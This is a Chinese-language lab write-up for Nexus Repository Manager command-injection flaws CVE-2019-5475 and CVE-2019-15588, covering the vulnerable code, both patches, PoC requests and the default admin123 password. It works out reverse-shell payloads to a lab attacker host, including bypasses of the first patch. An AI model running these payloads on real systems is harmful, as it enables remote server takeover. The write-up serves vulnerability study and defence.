0x10 漏洞背景
Nexus 的全称是 Nexus Repository Manager,是 Sonatype 公司推出的一个强大的仓库管理器,它极大地简化了内部仓库的维护和外部仓库的访问。
以往主要用之搭建 maven 私有仓库,但是随着社区更新不断迭代,它的功能不再局限于 maven,更是进一步覆盖了 nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt 等私有仓库的搭建。
这次的 CVE-2019-5475 是 Nexus 关于内置插件 Yum Repository 的 RCE 命令注入漏洞,其最早被披露于 hackerone,但因官方第一次修复不完整,故又衍生出了 CVE-2019-15588 漏洞。
这两个漏洞都需要以 admin 身份登录后才可以利用,但是 nexus 默认管理员密码 admin123 经常被忽略修改,很容易就被利用了。
0x20 漏洞靶场
- 靶场源码: https://github.com/EXP-Docs/CVE-2019-5475
- 环境说明:
- Docker:
latest - Nexus:
2.14.9与2.14.15
- Docker:
- 靶场结构:
CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│ └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]
0x30 靶场搭建
- 宿主机预装 docker 和 docker-compose
- 下载仓库: git clone https://github.com/EXP-Docs/CVE-2019-5475
- 打开 Nexus 构建目录:
cd CVE-2019-5475 - 构建并运行 Nexus:
docker-compose up -d - 约 5 分钟后可从浏览器访问 Nexus (BasicAuth 为
admin/admin123),其中:
| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.15 | CVE-2019-15588 | http://127.0.0.1:8015/nexus |
此靶场还搭建了一台攻击机 172.168.50.2,处于与两台靶机相同的网络环境,其作用是用于验证反弹 shell
0x40 靶场验证
0x41 CVE-2019-5475
使用 admin 登录 http://127.0.0.1:8009/nexus/#capabilities,在 Administration -> Capabilities -> Yum: Configuration -> Settings 可以找到 RCE 注入点。
输入框 Path of "createrepo" 和 Path of "mergerepo" 均可被注入,执行结果可以从 Status 查看。
例如在 createrepo 注入点构造 PoC bash -c id || python,即可从 Status 得到命令 bash -c id 的执行结果 uid=200(nexus) gid=200(nexus) groups=200(nexus) 。
通过 BurpSuite 可截获到对应 PoC 请求为:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


0x42 CVE-2019-15588
注入位置与 CVE-2019-5475 相同,调整 PoC 为: /bin/bash -c id || /createrepo
0x50 漏洞分析
通过阅读官方补丁的代码改动位置,可以大概分析到漏洞成因。
从官方第一次针对 CVE-2019-5475 发布的修复补丁可知关键代码类有两个:
public class YumCapability extends CapabilitySupport<YumCapabilityConfiguration> {
public Condition activationCondition() {
return conditions().capabilities().evaluable(
new Evaluable() {
@Override
public boolean isSatisfied() {
......
validate("createrepo", getConfig().getCreaterepoPath(), "[0.9.9,)", message, verificationLog);
validate("mergerepo", getConfig().getMergerepoPath(), "[0.1,)", message, verificationLog);
......
}
private void validate(final String type, final String path,
final String versionConstraint,
final StringBuilder message, final StringBuilder verificationLog) {
......
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
if (commandLineExecutor.exec(path + " --version", baos, baos) == 0) {
......
}
}
catch (IOException e) {
......
}
}
}
)
}
}
public class CommandLineExecutor {
public int exec(final String command, OutputStream out, OutputStream err) throws IOException {
CommandLine cmdLine = CommandLine.parse(command);
DefaultExecutor executor = new DefaultExecutor();
executor.setStreamHandler(new PumpStreamHandler(out, err));
int exitValue = executor.execute(cmdLine);
return exitValue;
}
}
不难解读其数据处理逻辑如下:
- 在前端 GUI 输入框
Path of "createrepo"输入的值会存储到getConfig().getCreaterepoPath() - 令
path = getConfig().getCreaterepoPath() path值会在YumCapability.activationCondition()内通过validate()进行校验- 其校验方法为在
path末尾拼接字符串--version,然后通过CommandLineExecutor.exec()执行 CommandLineExecutor.exec()就是对系统命令调用的封装
显然这里存在命令注入漏洞,当我们在前端输入 ${INPUT} 时,会在系统执行命令 ${INPUT} --version。
因此我们在靶场输入 bash -c id || python 时,相当于在系统执行命令 bash -c id || python --version。
bash -c目的是使用 bash 环境执行命令,有兴趣可以看下这篇文章关于bash -c cmd_string的解释
0x60 漏洞利用
接下来似乎就很好办了,参考我的这篇文章《各种语言一句话反弹shell》,不就可以很轻易地注入一个反弹 shell 么 :bash -i >&/dev/tcp/${IP}/${PORT} 0>&1 ?
- 登录靶场攻击机 172.168.50.2 :
docker exec -it -u root docker_attacker /bin/bash - 利用 netcat 监听反弹:
nc -lvvp 4444 - 在
Path of "createrepo"输入框构造 payload:bash -c bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
事实上这个 payload 并不能利用成功。

为了探究原因,这里需要进一步解读 Nexus 的源码(我把核心代码抽离到了 Maven 项目 nexus-yum-core,有兴趣可以用这个项目 DEBUG)。
Nexus 自己封装了一个系统命令执行类 CommandLineExecutor.java,这个类是对 apache 构件 commons-exec-x.y.jar 的简单封装。它调用了该构件的 CommandLine.parse(command) 方法,该方法使用 translateCommandline() 对输入的命令进行了拆解:
- 按
"(双引号)、'(单引号)、(空格) 字符对命令字符串进行分割 - 对于在
"(双引号) 或'(单引号) 内的子串则认为是一个整体(即使引号内有空格),并先删除其原本的引号,再强制在子串两端追加双引号
例如:
| 输入 | 输出 | 备注 |
|---|---|---|
bash -c echo 111 |
String[] { bash、-c、echo、111 } |
- |
bash -c 'echo 111' |
String[] { bash、-c、"echo 111" } |
注意 "echo 111" 的双引号并不是用来表示字符串的,而是这个字符串两端真的有双引号 " |
拆解后的命令字符串数组会被存储到 CommandLine.java 对象内,其中第 0 个子串作为命令脚本,后续所有子串作为该脚本的参数。
跟踪 DefaultExecutor.execute() 发现,CommandLine.java 最终在 Java13CommandLauncher.exec() 通过 toStrings() 被展开执行:
public Process exec(final CommandLine cmd, final Map<String, String> env, final File workingDir) throws IOException {
final String[] envVars = EnvironmentUtils.toStrings(env);
return Runtime.getRuntime().exec(cmd.toStrings(), envVars, workingDir);
}
显然,真正执行命令的主体就是 Runtime.getRuntime().exec(),需要注意,Runtime 的 exec() 方法重载了两种类型的参数,其使用方式是完全不同的(可参考这篇文章):
Runtime.getRuntime().exec(String command): 不支持重定向符<、>和管道符|Runtime.getRuntime().exec(String cmdarray[]): 支持复杂命令, Nexus 实际调用的方法
回看前面我们构造的 payload: bash -c bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python。
实际上它被拆解为 String[] { bash、-c、bash、-i、>&/dev/tcp/172.168.50.2/4444、0>&1、||、python },切割出来的后面所有字符串都作为了 bash 的参数,当然无法执行成功了。

我们真正期望的 payload 应该是把 bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 整体作为 bash -c 的参数字符串。那么直接构造这样的 payload 又是否可行呢: bash -c "bash -i >&/dev/tcp/172.168.50.2/4444 0>&1" || python ?
很遗憾也是不可行的,前面分析 Nexus 代码的时候,提到了一个函数 translateCommandline(),它会把这种形式的命令拆解成:
String[] { bash、-c、"bash -i >&/dev/tcp/172.168.50.2/4444 0>&1"、||、python }
而我们期望应该拆解为(留意看第 2 个参数,作为整体字符串的同时两侧不能有双引号):
String[] { bash、-c、bash -i >&/dev/tcp/172.168.50.2/4444 0>&1、||、python }

那么现在的问题就是要想办法绕过 translateCommandline() 对 bash -c cmd_string 的影响。有两种绕过选择:
- (1)允许
cmd_string被按空格完全拆解,但是在 Linux 层面依然可以正常执行 - (2)使得
cmd_string成为一个整体被携带到Runtime.getRuntime().exec(String cmdarray[])又不会在其两端附加双引号
苦思无果,最后参考《绕过exec获取反弹shell》这篇文章得到答案,这两个思路其实都能做。
0x61 利用 Linux 语法特性
允许
cmd_string被按空格完全拆解,但是在 Linux 层面依然可以正常执行
这里要利用 Linux 中三种语法特性:
echo会以文本形式无条件打印其后所有参数(不管参数间是否有空格)- 在 shell 脚本中,特殊变量
$@(或$*) 可以获得除了$0(脚本路径)之外的所有脚本参数(即$1…$n) - 管道命令
|可以把前一个命令的输出作为后一个命令的输入
结合三者可以构筑一条像这样的命令:bash -c $@|bash any_script_path echo cmd_string
不妨分析一下这条命令的含义:
- 经过前面分析,
bash -c $@|bash相信大家都很熟悉了,就是在bash环境执行命令$@|bash,但是这个命令有点特殊,是$@,即取脚本参数。 - 此时 shell 就会解析后面的
any_script_path echo cmd_string,由于$@只取脚本参数,于是脚本路径any_script_path就会被忽略,只取echo cmd_string。 - 于是
$@|bash就被解析为echo cmd_string|bash,此时就变成了一条管道命令:echo以文本形式输出了cmd_string,然后作为bash的入参被执行了(可以理解为echo输出了一条命令cmd_string到一个临时的脚本文件,然后用bash执行了该脚本文件)
回到这次漏洞,只要令 any_script_path 为任意值(如 0),cmd_string 为 bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python,我们就可以得到 payload :bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
虽然它被按空格完全拆解,但是利用上述的 Linux 语法特性,是可以成功执行 bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 实现反弹 shell 的。

0x62 利用 Base64 编码
使得
cmd_string成为一个整体被携带到Runtime.getRuntime().exec(String cmdarray[])又不会在其两端附加双引号
是的,借用 Base64 编码就可以很巧妙地达到此目的,即令 cmd_string 为 Base64.encode(bash -i >&/dev/tcp/172.168.50.2/4444 0>&1),我们就可以构造这样的 payload :bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} || python
但这条 payload 只是理论上可行,因为它只能绕过 java 后端逻辑,无法绕过 nexus 前端校验,因此无法使用。

0x70 漏洞修复(不完整)
上述即为漏洞 CVE-2019-5475 原理,官方针对其发布了第一次修复补丁。
改动的内容不多,核心改动的只有两个位置:
CommandLineExecutor.exe(): 入参增加一个参数,不再直接拼接 GUI 的${INPUT}和--versionCommandLineExecutor.getCleanCommand(): 增加的命令清洗方法,用于校验${INPUT}是否合法
private String getCleanCommand(String command, String params) {
if (allowedExecutables.contains(command)) {
return command + " " + params;
}
File file = new File(command);
if (file.getAbsolutePath().startsWith(applicationDirectories.getWorkDirectory().getAbsolutePath())) {
LOG.debug("Attempt to execute command with illegal path {}", file.getAbsolutePath());
return null;
}
if (!allowedExecutables.contains(file.getName())) {
LOG.debug("Attempt to execute illegal command {}", file.getAbsolutePath());
return null;
}
return file.getAbsolutePath() + " " + params;
}
先来解读一下这个方法:
- 在前端 GUI 输入框
Path of "createrepo"输入的${INPUT}会作为入参command的值,而入参params的固定值就是--version - 从上下文代码来看
allowedExecutables是一个 Hash 表,其中只有两个元素:createrepo和mergerepo applicationDirectories.getWorkDirectory().getAbsolutePath()就是 Nexus 项目路径,可以认为是固定值/sonatype-work
那么其逻辑就很清晰了:
- (1) 先判断
${INPUT}是否为createrepo或mergerepo之一,若是则无需校验直接返回 - (2) 然后通过
new File(command)取得我们输入的命令脚本文件对象,目的应该是为了确保输入的${INPUT}只能是有效的脚本文件路径 - (3) 继而通过
file.getAbsolutePath()检查这个脚本文件的路径是否在 Nexus 的工作目录内,目的应该是避免 webshell - (4) 最后通过
file.getName()检查脚本的文件名是否为createrepo或mergerepo之一
综上来看,这段代码就是试图确保我们输入的命令脚本,必须是 createrepo 或 mergerepo,但是这两个脚本可以放在除了 /sonatype-work 目录外的任意路径。
0x80 漏洞二次利用
现在目标很明确了,我们构造的 ${INPUT} 必须是合法的文件路径,即满足(2),同时要绕过(1)(3)(4)。
先前的 payload: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python 是没办法绕过这几层校验的,但是我们只需要对它进行改造即可。
首先要使其可以被 new File() 识别,就要让它【看起来】是一个文件路径(不需要文件真正存在)。须知道 new File() 是允许路径中有空格的,而且 Linux 也允许文件名中有空格和特殊字符,那么就很好办了:在其开头加上 /bin/、其末尾修改为 /createrepo。
于是 payload 就变成: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo。 它会被 new File() 解读为:
- 一级目录:
/ - 二级目录:
bin/ - 三级目录:
bash -c $@|bash 0 echo bash -i >&/ - 四级目录:
dev/ - 五级目录:
tcp/ - 六级目录:
172.168.50.2/4444 0>&1 || / - 文件名:
createrepo
此时 file.getAbsolutePath() 得到的就是 /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo,已经可以绕过(1)(2)(3)了。而 file.getName() 得到的是 createrepo,可以绕过(4)。
所以最终可以成功反弹 shell 的 payload 为: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo

0x90 漏洞修复
上述即为漏洞 CVE-2019-15588 原理,官方针对其发布了第二次修复补丁。
这次修改改动不多,主要针对 CommandLineExecutor.getCleanCommand() 方法添加了 file.exists() 判断,即要求我们 ${INPUT} 输入的脚本文件路径必须是真正存在的:
if (!file.exists()) {
LOG.debug("Attempt to execute command that doesn't exist {}", file.getAbsolutePath());
return null;
}
至此这个注入点才算是真正被修复,不再轻易被绕过。